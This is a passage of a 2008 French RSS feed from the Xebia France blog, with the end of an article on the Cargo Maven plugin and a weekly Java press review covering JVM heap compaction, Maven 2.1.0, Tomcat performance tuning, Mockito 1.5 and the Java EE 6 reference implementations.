name="Conclusion"></a>Conclusion</h3><p>Si on passe la pauvreté de la documentation concernant Maven, avec son API multi-conteneurs, Cargo simplifie la mise en place des interactions avec le conteneur choisi. Il peut aussi s&#8217;avérer très utile pour des tests de migrations. Tout cela pourrait être magique, mais il reste de grands absents parmi les serveurs J2EE du marché comme Websphere, Weblogic 10, et Glassfish.</p><p>D&#8217;autant que les containers supportés n&#8217;implémentent pas forcément l&#8217;intégralité de l&#8217;API. Après être tombé en désuétude pendant un an sans aucune nouvelle sur leur page principale, Cargo semble avoir repris ses activités. En effet, la version 1.0-alpha-6 est disponible depuis septembre sur le <a
href="http://mvnrepository.com/artifact/org.codehaus.cargo/cargo-maven2-plugin" title="dépot maven de Codehaus" >dépot maven de Codehaus</a> . Parmi les nouveautés on trouve Weblogic 9, Tomcat 6 et JBoss 5. Après une succession de versions alpha en septembre, Cargo est disponible depuis le 22 octobre en beta-1 dans vos dépôts Maven.</p><p><strong>Sources des projets de cet article :</strong></p><ul><li><strong><a
href="http://xebia-france.googlecode.com/svn/trunk/cargo/" title="Sources des projets de cet article" >SVN Xebia</a></strong></li></ul><p><strong>Références :</strong></p><ul><li><a
href="http://cargo.codehaus.org/Home" title="Accueil du projet Cargo" >Accueil du projet Cargo</a></li><li><a
href="http://binil.wordpress.com/2006/12/08/automated-smoke-tests-with-selenium-cargo-testng-and-maven/" title="Automated Smoke Tests With Selenium, Cargo, TestNG and Maven" >Automated Smoke Tests With Selenium, Cargo, TestNG and Maven</a></li></ul> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2008/11/05/lintegration-continue-avec-cargo/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2008/09/22/revue-de-presse-xebia-75/</link> <comments>http://blog.xebia.fr/2008/09/22/revue-de-presse-xebia-75/#comments</comments> <pubDate>Mon, 22 Sep 2008 16:50:51 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[J2EE]]></category> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[JVM]]></category> <category><![CDATA[Maven]]></category> <category><![CDATA[Méthodes agiles]]></category> <category><![CDATA[Mockito]]></category> <category><![CDATA[Tomcat]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=720</guid> <description><![CDATA[La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia. Agilité Discipline et agilité Le coin de la technique Fragmentation mémoire et JVM, compactez votre &#8216;Gros Tas&#8217; Indiscrétions sur Maven 2.1.0 Améliorer les performances de Tomcat en production Mockito s&#8217;offre un lifting. Java EE 6 et ses RI Des nouvelles de Java SE 7 [...]]]></description> <content:encoded><![CDATA[<p><img
src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" style="margin: 1em 1em 1em 1em; float: right;" /><br
/> <em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Agilité</strong></p><ul><li><a
href="http://blog.xebia.fr/2008/09/22/revue-de-presse-xebia/#Disciplineetagilit">Discipline et agilité</a></li></ul><p><strong>Le coin de la technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2008/09/22/revue-de-presse-xebia/#FragmentationmmoireetJVMcompac">Fragmentation mémoire et JVM, compactez votre &#8216;Gros Tas&#8217;</a></li><li><a
href="http://blog.xebia.fr/2008/09/22/revue-de-presse-xebia/#IndiscrtionssurMaven">Indiscrétions sur Maven 2.1.0</a></li><li><a
href="http://blog.xebia.fr/2008/09/22/revue-de-presse-xebia/#AmliorerlesperformancesdeTomca">Améliorer les performances de Tomcat en production</a></li><li><a
href="http://blog.xebia.fr/2008/09/22/revue-de-presse-xebia/#Mockitosoffreunlifting">Mockito s&#8217;offre un lifting.</a></li><li><a
href="http://blog.xebia.fr/2008/09/22/revue-de-presse-xebia/#JavaEEetsesRI">Java EE 6 et ses RI</a></li><li><a
href="http://blog.xebia.fr/2008/09/22/revue-de-presse-xebia/#DesnouvellesdeJavaSE">Des nouvelles de Java SE 7 &#8230;</a></li></ul><h3><a
name="Agilit"></a>Agilité</h3><h4><a
name="Disciplineetagilit"></a>Discipline et agilité</h4><p>Dans cet <a
href="http://www.aubryconseil.com/dotclear/index.php/2008/09/17/471-l-agilite-oui-la-chienlit-non" title="article" >article</a>, Claude Aubry nous rappelle que l&#8217;agilité possède des règles à respecter. En effet nombreux sont ceux qui pensent que l&#8217;agilité permet de faire face aux imprévus plus rapidement. Ce n&#8217;est pas tout le temps le cas, car l&#8217;agilité possède des règles qu&#8217;il faut respecter (gestion du backlog, des priorités&#8230;) afin que les sprints se déroulent dans de bonnes conditions.</p><h3><a
name="Lecoindelatechnique"></a>Le coin de la technique</h3><h4><a
name="FragmentationmmoireetJVMcompac"></a>Fragmentation mémoire et JVM, compactez votre &#8216;Gros Tas&#8217;</h4><p>Si la description des différents algorithmes de Garbage Collection se trouve relativement facilement <a
href=" http://blog.xebia.fr/2008/03/12/gc-generationnels-traditionnels-jdk6-vs-gc-garbage-first-jdk7/" title="sur le Web" >sur le Web</a>, peu décrivent comment ceux-ci gèrent la fragmentation de la <em>heap</em>.  Même si la durée de vie des objets est en moyenne très courte (dans une application de gestion), la JVM ne peut échapper à la gestion d&#8217;objets plus gros dont la durée de vie est plus importante. La fragmentation de la mémoire est inévitable. On estime que celle-ci peu atteindre facilement 10% de la mémoire pour des applications 24/7 et par conséquent peut être la cause d&#8217;<code>OutOfMemory</code>.<br
/> Dans son article <a
href=" http://deepheap.blogspot.com/2008/09/ghost-in-java-virtual-machine.html" title="Ghost in the Java Virtual Machine" >Ghost in the Java Virtual Machine</a>, <a
href="http://www.jguru.com/guru/viewbio.jsp?EID=780589" title="Nick Maiorano" >Nick Maiorano</a> nous décrit les différents mécanismes de compaction dont sont tirés ces grands principes.<br
/> Deux principes de compaction :</p><ul><li>Garder une trace des fragments et les réallouer dès que c&#8217;est possible. Ceci implique le déplacement d&#8217;objets et la mise à jour des objets les référençant. Cette opération n&#8217;est rendue possible que lors d&#8217;un <em>Full GC</em>. Second problème, avec ce mécanisme, il se peut que deux objets créés simultanément se référençant l&#8217;un l&#8217;autre soient dispatchés sur deux pages physiques de la mémoire.</li><li>Copier les objets vivants dans une autre part de la mémoire en les agençant les uns après les autres. Avec cette méthode la mémoire est constamment réorganisée et les objets se retrouvent concentrés dans une même zone de la mémoire, ce qui peut améliorer les performances.</li></ul><p>Nous vous laissons consulter le reste de l&#8217;article comparant le fonctionnement des algorithmes de compaction des JVM JRockit de BEA et Hotspot de Sun.</p><h4><a
name="IndiscrtionssurMaven"></a>Indiscrétions sur Maven 2.1.0</h4><p>Deux articles intéressants sur <a
href="http://blogs.exist.com/bporter/" title="le blog de Brett Porter" >le blog de Brett Porter</a>, commiteur Maven.<br
/> Un article sur <a
href="http://blogs.exist.com/bporter/2008/09/19/apache-maven-210-m1-released/" title="la mise en ligne de Maven 2.1.0 milestone 1" >la mise en ligne de Maven 2.1.0 milestone 1</a>, avec une liste de quelques fonctionnalités qui seront ajoutées à cette version (en plus de meilleures performances).<br
/> Et un article sur <a
href="http://blogs.exist.com/bporter/2008/09/19/reactor-my-new-favourite-maven-plugin/" title="le plugin reactor" >le plugin reactor</a>, qui apporte quelques fonctionnalités que l&#8217;on devrait retrouver intégrées de base à Maven 2.1. Le scénario suivant est donné en exemple: un build de 10 minutes plante au bout de 9 minutes à cause d&#8217;une erreur sur une dépendance. L&#8217;erreur est corrigée, et le plugin reactor permet de reprendre le build là où il a planté. Sympathique!</p><h4><a
name="AmliorerlesperformancesdeTomca"></a>Améliorer les performances de Tomcat en production</h4><p>La configuration par défaut de Tomcat répond à la plupart des besoins en production. Il est en outre facile de tuner légèrement le serveur d&#8217;application afin d&#8217;optimiser les performances de celui-ci.<br
/> Filip Hanik et Mark Thomas nous donnent quelques pistes dans leur <a
href="http://www.springsource.com/files/u1/PerformanceTuningApacheTomcat-Part2.pdf" title="Webinar hébergé par SpringSource" >Webinar hébergé par SpringSource</a>.<br
/> Nous listerons ici les principaux faits marquants de cette optimisation, vus à travers 3 grands sujets (nous ne traiterons volontairement pas ici les optimisations de JVM, plus &laquo;&nbsp;convenues&nbsp;&raquo;).</p><p><strong>Tuning des logs</strong></p><ul><li>Le fichier catalina.out de sortie de la console (<code>java.util.logging.ConsoleHandler</code>) a pour limitation de ne pas offrir de rotation. Il y a donc un risque d&#8217;overflow. On peut remplacer ce <em>handler</em> par un <code>org.apache.juli.FileHandler</code> (rotations quotidiennes) ou un <code>java.util.logging.FileHandler</code> (rotations par date ou au volume de fichier pour prévenir la saturation des disques).</li><li>Le <em>logger</em> par défaut est synchrone, ce qui peut devenir un goulet d&#8217;étranglement. L&#8217;utilisation d&#8217;un <em>logger</em> asynchrone peut donc améliorer les performances mais aucune implémentation n&#8217;est incluse dans Tomcat.</li></ul><p><strong>Tuning HTTP et TCP/IP</strong><br
/> Avant de s&#8217;attaquer à ces améliorations, il est important de comprendre les protocoles TCP / IP, le fonctionnement du CPU et les concepts de load balancing.</p><ul><li>Sessions TCP : Http Keep alive permet d&#8217;améliorer les temps de réponse en évitant quelques handshakes TCP ; cependant, l&#8217;accroissement de la consommation de ressources serveurs peut nuire aux sites à forte concurrence d&#8217;accès.</li><li>TCP Flow Control : bien que l&#8217;API Servlet repose sur des IO bloquantes, Tomcat optimise le service du contenu statique avec les connecteurs NIO et APR, grâce à la méthode non bloquante SEND_FILE.</li><li>Principaux paramètres à configurer :<br
/> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;<code>maxThreads</code> : typiquement entre 200 et 800, 400 étant une bonne valeur initiale.<br
/> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;<code>maxKeepAliveRequests</code> : typiquement entre 100 et 200 (SSL, APR / NIO connector) ou 1 pour désactiver &laquo;&nbsp;Keep Alive&nbsp;&raquo; (pas de SSL, BIO connector, très forte concurrence, etc).<br
/> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;<code>acceptCount</code> (backlog TCP) : typiquement entre 50 et 300.<br
/> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;<code>connectionTimeout</code> (SO_TIMEOUT), le temps maximum entre deux paquets TCP : entre 2000 à 3000 ms est souvent optimal, même en activant Keep Alive.</li></ul><p><strong>Quel connecteur choisir?</strong><br
/> Cela dépend des besoins de l&#8217;application :</p><ul><li><strong>Blocking IO Connector</strong> :<br
/> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;La majorité du contenu est dynamique<br
/> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;Keep-Alive n&#8217;est pas important<br
/> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;La fiabilité est une priorité</li><li><strong>Apache Portable Runtime/APR Connector</strong> :<br
/> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;Tomcat gère l&#8217;encryption SSL : l&#8217;implémentation SSL d&#8217;APR (Open SSL) est beaucoup plus rapide que celle des JVM et les handshakes SSL non bloquants améliorent les performances<br
/> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;Keep-Alive est important<br
/> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;Une grande partie du contenu est statique<br
/> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;La fonctionnalité Comet de Tomcat nécessite un connecteur non bloquant (APR ou NIO)</li><li><strong>NIO Connector</strong> :<br
/> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;Connecteur non bloquant comme l&#8217;APR connector<br
/> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;A la différence de l&#8217;APR connector qui nécessite la librairie native APR, le NIO connecteur est portable sur toutes les plateformes<br
/> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;Le NIO connector ne bénéficie par de l&#8217;optimisation SSL apportée par Open SSL</li><li><strong>AJP Connector</strong> :<br
/> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;Déconseillé, il n&#8217;est pas plus performant que les connecteurs HTTP et est en revanche difficile à troubleshooter.</li></ul><p>Dans le doute, utiliser le connecteur BIO (le plus mûr, qui ne crashera pas et qui auto gère le <em>keep alive</em>)</p><p><strong>Contenu statique</strong></p><ul><li>Les connecteurs APR et NIO offrent l&#8217;optimisation SEND_FILE</li><li>Tomcat offre un cache (e.g. <code>&lt;Context cacheMaxSize="40960" cacheTTL="60000" cachingAllowed="true"&gt;</code> ) du contenu statique. Cependant, cette fonctionnalité ne rivalise pas avec un proxy cache comme Squid ou mod_cache )</li></ul><h4><a
name="Mockitosoffreunlifting"></a>Mockito s&#8217;offre un lifting.</h4><p>Si vous appliquez <a
href="http://blog.xebia.fr/2008/04/11/les-10-commandements-des-tests-unitaires/" title="les 10 commandements des tests unitaires" >les 10 commandements des tests unitaires</a> (cf point 7), la sortie de la <a
href="http://code.google.com/p/mockito/" title="version 1.5 de Mockito" >version 1.5 de Mockito</a> devrait vous apparaître comme une bonne nouvelle.</p><p>Principale différence entre ce framework et ses concurrents (<a
href="http://www.easymock.org/" title="EasyMock" >EasyMock</a> et <a
href="http://www.jmock.org/" title="JMock" >JMock</a>), Mockito peut se passer d&#8217;<em>expectations</em> et vérifier le comportement d&#8217;un objet à posteriori. Cette fonctionnalité permet de considérablement réduire la taille du setup des tests, et de les rendre plus lisibles.</p><p>De plus, comme Mockito possède une syntaxe très similaire à celle d&#8217;EasyMock, il est facile de refactorer quelques tests pour l&#8217;essayer, et pourquoi pas l&#8217;adopter.</p><h4><a
name="JavaEEetsesRI"></a>Java EE 6 et ses RI</h4><p>Cette semaine, <a
href="http://www.antoniogoncalves.org/xwiki/bin/view/Main/AboutMe" title="Antonio Goncalves" >Antonio Goncalves</a>, membre de l&#8217;<em>expert group</em> des JSR Java EE et co-fondateur du <a
href="http://www.parisjug.org" title="Paris Jug" >Paris Jug</a> , nous rappelle l&#8217;arrivée prochaine de <a
href="http://blog.xebia.fr/2008/03/03/revue-de-presse-xebia-46/#JavaEE6profiles" title="Java EE 6" >Java EE 6</a> début 2009 et récapitule la liste des principales <a
href=" http://www.jroller.com/agoncal/entry/java_ee_6_reference_implementations" title="implémentations de références" >implémentations de références</a> des différentes briques et <a
href="http://jcp.org/en/jsr/detail?id=316" title="ses spécifications" >ses spécifications</a> :</p><table
cellspacing="0" cellpadding="5" style="border: 1px solid black"><tr><td
bgcolor="#663366" style="color: #ffffff; border: 1px solid black"><strong> Spécifications </strong></td><td
bgcolor="#663366" style="color: #ffffff; border: 1px solid black"><strong> RI </strong></td></tr><tr><td
style="border: 1px solid black"> <a
href="http://jcp.org/en/jsr/detail?id=3168">EJB 3.1</a> <a
href="http://jcp.org/en/jsr/detail?id=315">Servlets 3.0</a></td><td
style="border: 1px solid black"> <a
href="http://wiki.glassfish.java.net/Wiki.jsp?page=PlanForGlassFishV3">GlassFish V3</a></td></tr><tr><td
style="border: 1px solid black"> <a
href="http://jcp.org/en/jsr/detail?id=317">JPA 2.0</a></td><td
style="border: 1px solid black"> <a
href="http://www.eclipse.org/eclipselink/">EclipseLink</a></td></tr><tr><td
style="border: 1px solid black"> <a
href="http://jcp.org/en/jsr/detail?id=299">Web Beans 1.0</a></td><td
style="border: 1px solid black"> <a
href="http://jboss.com/products/seam">JBoss Seam</a></td></tr><tr><td
style="border: 1px solid black"> <a
href="http://jcp.org/en/jsr/detail?id=314">JSF 2.0</a></td><td
style="border: 1px solid black"> <a
href="https://javaserverfaces.dev.java.net/">Mojarra</a></td></tr><tr><td
style="border: 1px solid black"> <a
href="http://jcp.org/en/jsr/detail?id=311">JAX-RS 1.0</a></td><td
style="border: 1px solid black"> <a
href="https://jersey.dev.java.net/">Jersey</a></td></tr><tr><td
style="border: 1px solid black"> <a
href="http://jcp.org/en/jsr/detail?id=224">JAX-WS 2.2</a></td><td
style="border: 1px solid black"> <a
href="https://metro.dev.java.net/">Metro</a></td></tr></table><p>Une preview de Java EE 6 a d&#8217;ailleurs été effectuée ce mois-ci au Priceton JUG dont voici <a
href="http://openwebdeveloper.sys-con.com/node/668618" title="le résumé" >le résumé</a>. Une session également en préparation au Paris JUG, elle est pour le moment prévue pour <a
href="http://www.parisjug.org/xwiki/bin/view/Meeting/20090113" title="janvier prochain" >janvier prochain</a>.</p><h4><a
name="DesnouvellesdeJavaSE"></a>Des nouvelles de Java SE 7 &#8230;</h4><p>Ah non, fausse alerte ! Point d&#8217;Umbrella JSR à l&#8217;horizon &#8230;</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2008/09/22/revue-de-presse-xebia-75/feed/</wfw:commentRss> <slash:comments>2</slash:comments> </item> </channel> </rss>
